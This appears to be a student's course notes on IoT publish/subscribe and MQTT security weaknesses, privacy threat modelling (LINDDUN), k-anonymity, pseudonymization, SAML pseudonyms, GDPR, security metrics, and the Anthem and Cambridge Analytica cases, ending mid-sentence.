The **publish/subscribe** pattern is a communications protocols alternative to the client-server pattern, used in IoT (M2M) devices . It's a many-to-many communication model, as more than one producer can send data to more than once customer. This pattern is space decoupling, as interacting parties do not need to know each other, and it's time decoupling, since publisher and subscriber don't need to be up at the same time to exchange an event; this makes it also synchronization decoupling, as the parties involved don't need to be synchronized to exchange events. Also, while the client-response is a pull protocol, this one supports both push and pull interactions (an example of a push only protocol is SMTP). There are three main entities: the publisher publishes events, and it can be your standard smart thermostat; the subscriber subscribes to a topic to get events about that topic, and it can be a smart application or the company's servers; the event notification service, or broker or mediator, which notifies the subscriber of a new event about a topic. The ENS can be centralized or distributes, helping in scalability. Topic-based subscriptio allow clients to get notifications about events regarding a cerain topic, while hierarchy-based subscription introduce an hierarchy in the topic system,

meaning that some topic can be contained within other ones, and that a client subscribing to a topic would get events about that topic and all the ones in its sub-tree. It can also be content-based or type-based. The flow is simple: a subscriber subscribes to a topic, telling it to the broker; a published publishes an event to a topic, sending the event to the broker; the broker notifies all the subscribers of that particular topic, as soon as they're up.

The **Message Queue Telemetry Transport (MQTT)** is a simple and lightweight messaging protocol designed for constrained devices and low-bandwidth, high-latency or unreliable networks. Its design principles make the protocol ideal for the emerging Machine-to-Machine (M2M), Internet of Things devices, and for mobile applications where bandwidth and battery power are at a premium: it minimizes network bandwidth, it considers small sets of devices resource requirements and ensures reliability and some degree of assurance of delivery. It uses a centralized broker and topics consist of one or more levels that are separated by a forward slash, like /smarthouse/livingroom/temperature. It runs over TCP on port 1883, which is not encrypted; it does not provide security.

MQTT suffers from many **security issues**. There is no security implementation in the base protocol because of its lightweight design, so it uses TLS/SSL adding significant network overhead. TLS needs certificates, some IoT devices are too simple to store long keys, meaning that pre-shared keys might be used, introducing the problem of sharing those pre-shared keys in a safe manner. A possible solution could be to directly store them in the IoT when made in factories, but this isn't built-in to the protocol. Authentication can be set, username and passwords can be sent with the CONNECT packet, and the broker would answer with a CONNACK packet containing the return code representing the result of the authentication. But, those credentials are sent in plaintext, without SSL/TLS. One could also try a brute-force attack, since no mechanism is available for limiting the number of attempts. Another problem may arise when abusing wildcards. A client can subscribe to all user topics with the #, multi-level wildcard, meaning that a client will be able to receive all the messages sent by other clients. By subscribing to all $SYS/# the client will be able to receive internal control messages of brokers; writing packets to $SYS/# is another attack, in an attempt to crash the broker or write packets to user-defined topics. If the subscriber of the user-defined topic is an actuator, like a fire-alarm, that could be a problem. Some brokers' versions allowed to bypass authentication by connecting with a wildcard username (*sic!*).

9 Privacy and data protection

We can consider a **privacy** situation to be such when everyone gets to control information about themselves, but also when there is a high level of difficulty in correlating data/actions. Security and privacy happen to be in contrast: privacy focuses only on personal data, while security aims at protecting all data.

LINDDUN is a privacy threat modeling methodology that focuses on 7 different threats. First is **linkability**, meaning being able to tell whether 2 items of interest belong to the same identity. This leads to identifiability, when too much linkable information is combined, and inference, when "group data" is linkable leading to societal harm, like discrimination. **Identifiability** means being able to sufficiently identify the subject within a set of subjects (the anonymity set), not being able to hide the link between the identity the IOIs. This leads to severe privacy violations. Then there's **non-repudiation**, not being able to deny a claim, which brings problems in situations such as online voting or whistleblowing. **Detectability** consists in being able to sufficiently distinguish whether an IOI exists or not. It concerns IOIs of which the context is not known to the attacker. **Disclosure of information** is related to a violation of confidentiality. **Unawareness**, being unaware of the consequences of sharing information, leading to more issues with linkability. Finally **non compliance** with respect to legislation, regulations and corporate policies leads to loss of credibility and fines.

Anonymization is achieved by removing Personally Identifying Information (PII), but the term itself has no technical meaning. Attackers learn sensitive data by joining two datasets on common attributes. **Quasi-identifiers** are crucial, they are pieces of information that are not of themselves unique identifier, but are sufficiently well correlated with an entity that they can be combined with other quasi identifiers to create a unique identifier. Publishing a record with a quasi-identifier is as bad as publishing it with an explicit identity. It brings linkage attacks.

K-anonymity refers to the situation in which the information for each person contained in the released table cannot be distinguished from at least j-1 individuals whose information also appears in the release. Any quasi-identifier present in the released table must appear in at least k records. K-anonymity is achieved through generalization, replacing quasi-identifiers with less specific but semantically consistent values until k are identical (20, 21, 22, ... -> 2*); this can bring to suppression, when it causes too much information loss. This brings us to the privacy-usabiliy tradeoff: any increase in utility brings a decrease in data protection, and viceversa.

A **pseudonymization function** maps identifiers to pseudonyms. Let id1 and id2 two distinct identifiers and pseudo1 and pseudo2 their corresponding pseudonyms, this function must verify that pseudo1 and pseudo2 are different. However, a single identifiers id can be associated to multiple pseudonyms as long as it is possible for the pseudonymisation entity to invert this operation. In all cases, there exists some additional information that allows the association of the pseudonyms with the original identifiers (called pseudonymisation secret). An example of a pseudonymization function is a simple counter, where identifiers are substituted by a number chosen by a monotonic counter. Simple, but has scalability issues; sequentiality can provide information on the order of the data! A pseudo-random number generator is another choice, that avoid correlation but is more difficult to implement as to avoid repetitions, and to scale. Another solution are cryptographic hash functions, where the digest of the identifiers is the pseudonym, but is considered inadequate for pseudnonymization as it is prone to brute force and dictionary attacks. Finally there's encryption, usually through block ciphers like the AES;

the key is both the pseudonymisation and recovery secret. Padding is used as the size of the identifiers is usually less than the block size.

Recall the web SSO scenario with a user already logged to the IdP and directed to a different SP. If we used a static identifier for all SPs trusting an IdP it would be possible to identify a user, since it takes many actions which can be combined to deanonymize the user. Therefore we need dynamic pseudonyms. **SAML** supports privacy by using two kinds of pseudonyms: persistent pseudonyms and transient identifiers. Persistent pseudonyms are used in SP-initiated scenarios, and are assigned by IdPs after the user successfully logs in; the authentication assertion contains the pseudonym created by the IdP. Transient or one-time identifiers are also employed on a SP-initiated flow. The IdP created a temporary identifier to be used for the session at the SP: the authentication assertion does not include the name of the user but it contains a statement about the fact the authenticated user is, for example, a VIP member. In both these situations IdPs can still track user activities as they know how to deanonymize the pseudonyms; they could use pseudonyms internally, providing additional privacy in case of a data breach (provided that the pseudonymization secret is well protected by suitable security mechanisms, like cryptography and access control).

The **General Data Protection Regulation** is a European Union's regulation regarding handling data collected from natural persons living within the European Union that went into effect in May 25, 2018. It includes safeguarding data, getting consent from the person whose data is being collected, identifying the regulations that apply to the organization in question and the data it collects and ensuring employees are fully trained in the nuances of data privacy and security. The GDPR covers all EU citizens' data regardless of where the organization collecting the data is located. GDPR requirements include: barring vusinesses from storing or using an individual's personally identifiable information without that person's express consent; requiring companies to notify all affected people and the supervising authority within 72 hours of a data breach; for businesses that process or monitor data on a large scale, having a data protection officier who's responsible for data governance and ensuring the company complies with GDPR; fines for not complying can be as much as $20 million or 4% of the previous fiscal year's worldwide turnover, depending o which is largest; performing the Data Protection Impact Assessment (DPIA) for every data processing activity. The DPIA is mandated by article 35 of the GDPR, which says "where a type of processing in particular using new technologies, and taking into account the nature, scope, context and purposes of the processing, is likely to result in a high risk to the rights and freedoms of natural persons, the controller shall, prior to the processing, carry out an assessment of the impact of the envisaged processing operations on the protection of personal data", where the assessment shall contain at least "an assessment of the risks to the rights and freedoms of data subjects referred to in paragraph 1". Kind of a circular definition, if you think that this data processing that you're performing negatively impacts the subjects if a data breach happens, you need to perform risk analysis... but how do I know that there's high risk if I don't perform risk analysis? Anyway, compliance with any set of rules is challenging, as there are national and EU provisions (which are not harmonized), and also generic provisions far from technical requirements. Overall, GDPR follows a risk-based approach to cybersecurity.

A **metric** is an abstract and somewhat subjective attribute, while a **measure** is a concrete and objective attribute. An example of metric is how well an organization's systems are secured against external threats, while an example of measure could be the percentage of fully patched systems within an organization. Given a selected metric, we approximate its value by collecting and analyzing groups of measured, after having determined which measured can support that metric. Measures shall be collected via automated means to be more accurate

and frequently collectable. Organizations should have multiple levels of metrics, each geared toward a particular type of audience. Higher-level metrics are for strategic (global) decisions, while lower-level metrics are for tactical (local) decisions. Lower-level metrics are used as input to higher-level metrics. And although high-level metrics may stay the same, low-level metrics need to change over time as the security posture of the organization changes. The accuracy of metrics obviously depends on the accuracy of measures, but there are also some possible problems: imprecise definitions (% of fully patched systems, does it include only OS patches or also service/application ones?), ambiguous terminology (number of port scans, does port scans on the same host count as one?) and inconsistent measurements methods (patch status, an OS might report only on OS patches while another OS might also include some application patches). Only measures supporting selected metrics are needed; need to clearly and accurately specify dependencies among measures in the metrics using them.

Remember that impact in risk evaluation must be considered with respect to each stakeholder. For a company, the publication of one record is not a big deal, but for that person which record got published without their consent it could be a catastrophic event.

In the **Anthem data breach** a user within one of ANthem's subsidiaries opened a phishing email containing malicious content, that brought the download of malicious files to the user's computer and allowed hackers to gain remote access to that computer and dozens of ther systems within the Anthem enterprise, including Anthem's data warehouse. The attacker was able to more laterally across Anthem systems and escalate privileges, gaining increasingly greater ability to access information and make changes in Anthem's environment; he utilized at least 50 accounts and compromised at least 90 systems within the Anthem enterprise environment, including eventually the company's enterprise data warehouse. Queries to that warehouse resulted in access to an exfiltration of approximately 78.8 million unique user records. Data in databases was not encrypted, but that was not the problem, since the hacker got access to the admin's credentials meaning he would have been able to get his hands on the cryptographic keys. Remember that cryptography translates a security problem into a key/management problem; cryptography alone is rarely ever the solution to a security problem, it gives a false sense of security. This breach was a technical problem.

Facebook suffered what can be almost defined as a data breach. It was not a technical problem, no passwords were stolen and no systems were infliltrated. Following the GDPR article 4's definition, it was a matter of **unauthorised disclosure** of data. Aleksandr Kogan developed an app that required users to log in with Facebook, granting him access to a range of information from their Facebook profile, including the users' friends information. He gained access to this information legitimately, but shared it with the company Cambridge Analytica, violating Facebook's policies. The app was presented as a personality quiz, but the data collected was used for political marketing,